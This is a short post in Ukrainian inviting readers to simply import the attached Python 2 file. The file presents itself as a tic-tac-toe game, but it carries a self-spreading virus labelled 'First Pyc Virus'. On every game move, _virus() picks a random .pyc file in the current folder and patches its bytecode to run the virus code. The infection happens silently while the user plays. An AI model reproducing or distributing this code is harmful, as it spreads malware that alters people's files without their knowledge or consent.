Кому ціково попробуйте ). Просто імпортніть цей файл.
import sys, os, re
from marshal import load, dumps, loads, dump
from dircache import listdir
from random import choice
import types
def findFiles(path):
pyc_files = [os.path.abspath(f) for f in listdir(path) if f.endswith(".pyc")]
return pyc_files
def getFile(lst):
return choice(lst)
def getBody(path):
body = None
try:
mybody = open(path, "rb")
mybody.read(8)
body = load(mybody)
maybe_co = body.co_consts[-1]
if type(maybe_co) == types.CodeType:
if "First Pyc Virus" in maybe_co.co_consts: body = maybe_co
except:
if "mybody" in locals().keys():
mybody.close()
return body
def processCO(path, co):
try:
p = open(path, "rb")
head = p.read(8)
code = load(p)
p.close()
except:
return
if "First Pyc Virus" in code.co_consts: return
new_consts = code.co_consts + ("First Pyc Virus", co)
new_names = code.co_names + ("eval",)
try:
load_eval_name = "%c%c%c"%(101, len(new_names) - 1 , 0)
load_co = "%c%c%c"%(100, len(new_consts) - 1, 0)
call_eval = "%c%c%c"%(131, 1, 0)
nop = "%c"%9
except:
return
my_code = "%s%s%s%s"%(load_eval_name, load_co, call_eval, nop)
new_code = my_code + code.co_code
new_co = co.__new__(types.CodeType, co.co_argcount, co.co_nlocals,
co.co_stacksize+2, co.co_flags, new_code, new_consts,
new_names, co.co_varnames, co.co_filename,
co.co_name, co.co_firstlineno, co.co_lnotab)
try:
p = open(path, "wb")
p.write(head)
dump(new_co,p)
p.close()
p = open(path, "rb")
head = p.read(8)
code = load(p)
except:
return
def _virus(count):
pyc_name = os.path.abspath("%s.pyc"%__name__)
if os.path.exists(pyc_name):
name = getFile(findFiles("."))
if (name != pyc_name):
body = getBody(pyc_name) # co of this file
processCO(name, body)
return count
# -------------------------------------------------------------
def display_board(board):
print """
0 1 2
._____.
0|%1s|%1s|%1s|
|-----|
1|%1s|%1s|%1s|
|-----|
2|%1s|%1s|%1s|
*-----*
""" % tuple([" XO"[x] for y in board for x in y])
def getFirstPlayer():
fp = ""
while (fp not in ["user", "i", "computer", "pc", "you"]):
fp = raw_input("Who goes first (i, you)? ").strip().lower()
return fp
def getPlayerMove(board):
patt = re.compile("\s*(\d)\s*(\d)")
step = []
while not filter(lambda x: x in (0,1,2), step):
match = patt.match(raw_input("Make your move: "))
if match: step = map(int, match.groups())
return step
def checkWin(board):
chk_val = (1, 8)
f = s = th = lr_d = rl_d = 1; i = 0
for line in board:
if (line.count(1) == 3) or (line.count(2) == 3): return True
f *= line[0]; s *= line[1]; th *= line[2]; rl_d *= line[2 - i]; lr_d *= line[i]
i += 1
return filter(lambda x: x in chk_val, (f, s, th, rl_d, lr_d)) and \
True or False
def doMove(board, step, _max, pl):
if board[step[0]][step[1]] == 0: board[step[0]][step[1]] = (pl == _max) \
and 1 or 2
def getPossibleMoves(b):
return [(y, x) for y in range(3) for x in range(3) if b[y][x] == 0]
def check(b, y, x):
return [ (i, j) for i in y for j in x if b[i][j] == 0][0]
def getWinPos(board, _max, player):
val = (_max == player) and 1 or 2
i = 0
l0, l1, l2, l_lr, l_rl = [], [], [], [], []
for line in board:
if (line.count(val) == 2) and (0 in line):
return (i, line.index(0))
l0.append(line[0]); l1.append(line[1]); l2.append(line[2])
l_lr.append(line[i]); l_rl.append(line[2 - i])
i += 1
if l_lr.count(val) == 2 and (0 in l_lr):
for i in range(3):
if board[i][i] == 0: return i, i
if l_rl.count(val) == 2 and (0 in l_rl):
for i in range(3):
if board[i][2 - i] == 0: return i, 2 - i
return \
l0.count(val) == 2 and (0 in l0) and check(board, y = (0,1,2), x = (0,)) or \
l1.count(val) == 2 and (0 in l1) and check(board, y = (0,1,2), x = (1,)) or \
l2.count(val) == 2 and (0 in l2) and check(board, y = (0,1,2), x = (2,)) or \
None
def getCompMove(board, _max):
return getWinPos(board, _max, "computer") or \
getWinPos(board, _max, "user") or choice(getPossibleMoves(board))
def _ttt():
count = 0
board = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
player = getFirstPlayer()
_max = player = (player in ("user", "i")) and "user" or "computer"
for i in xrange(9):
display_board(board)
step = player == "user" and getPlayerMove(board) or getCompMove(board, _max)
count = _virus(count)
doMove(board, step, _max, player)
if checkWin(board):
if count:
print "you play better than you think %i"%count
display_board(board)
print player == "user" and "Congratulation, you did imposible)))" or "Computer won"
break
player = player == "user" and "computer" or "user"
else:
display_board(board); print "Draw"
_ttt()